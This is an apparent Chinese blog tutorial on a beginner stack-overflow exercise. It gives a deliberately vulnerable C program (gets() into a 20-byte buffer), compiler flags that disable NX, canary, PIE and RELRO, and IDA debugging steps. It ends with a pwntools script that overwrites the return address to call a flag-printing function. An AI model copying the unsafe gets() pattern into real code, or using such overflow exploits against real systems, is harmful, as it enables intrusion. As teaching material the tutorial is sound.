PWN_02-helloworld程序分析
源程序代码:
#include "stdio.h"
#include "stdlib.h"
void pwnme(){
system("cat flag");
}
void run(){
char a[20];
printf("HelloWorld?\n");
gets(a);
}
int main(){
run();
return 0;
}
编译
gcc helloworld.c -o helloworld -z execstack -fno-stack-protector -no-pie -z norelro
编译说明
NX: -z execstack 关闭 -z noexecstack 开启 不让执行栈上的数据,于是JMP ESP就不能用了 Canary: -fno-stack-protector 关闭 -fstack-protector 开启 -fstack-protector-all 全开启 栈里插入cookie信息 PIE: -no-pie 关闭 -pie 开启 地址随机化,另外打开后会有get_pc_thunk RELRO: -z norelro 关闭 -z lazy 部分开启 -z now 完全开启 对GOT表具有写权限
载入IDA Pro进行分析
- 载入后查看.text段中的函数
找到main函数,双击进行定位,查看相应的汇编代码
main函数内主要调用了Run函数,我们在双击Run函数进行查看汇编代码
溢出点查找
在main函数中只是简单的调用了run函数,不存在溢出点
在run函数中,首先会定义一个变量,输出一段话,再让用户通过gets函数进行输入
然而,对于gets函数而言,并没有对用户的输入长度做限制,而我们定义的变量只有20h的空间大小,如果用户输入的长度超过程序想要得到的长度又会发生什么呢?
我们继续做实验。。。
在gets处按F2下断点,之后按F9执行,进行动态调试
启动调试之后按F7单步跟踪(进入函数)/F8单步跟踪(不进入函数),此时发现程序在等待我们输入,查看远程调试窗口,我们输入8个A
回到IDA中查看栈的数据
此时发现8个41(A的ascii码为41)。此时我们发现在0x00007FFEC31CA3528处发现了主函数保存的数据,也就是等我们run函数调用结束后要回去的地方,如果我们将它覆盖,程序会不会报错呢?
我们通过计算,如果想要覆盖0x00007FFEC31CA3528,需要0x00007FFEC31CA3528-0x00007FFEC31CA3500 + 8= 30h 个A
此时main+E已经被我们覆盖,继续F8执行到retn,查看效果
程序按照我们的预想执行了,既然我们将我们的输入覆盖响应的函数返回地址,也就是说程序执行流程完全可以由我们来控制。在程序中发现我们的pwnme()函数并没有被我们调用,那我们接下来就通过修改程序流程对pwnme()函数进行调用。
漏洞利用
需要使用到python中pwntools库
首先我们向程序发送28h个A,剩下8个地址由程序的pwnme()函数地址0x0000000000400576进行填充,最后
payload = "A"*0x28 + p64(0x0000000000400576)
编写程序
#!/usr/bin/python from pwn import * payload = "A"*0x28 + p64(0x400576) io = process("./helloword") print io.recv() io.sendline(payload) print io.recv()
执行脚本
成功执行pwnme函数中的
system("cat flag");
简单的栈溢出分析就到这里
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 787772394@qq.com
文章标题:PWN_02-helloworld程序分析
本文作者:二豆子·pwnd0u
发布时间:2019-11-25, 14:13:12
最后更新:2020-11-21, 16:30:04
原始链接:http://blog.codefat.cn/2019/11/25/PWN-helloworld%E7%A8%8B%E5%BA%8F%E5%88%86%E6%9E%90/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。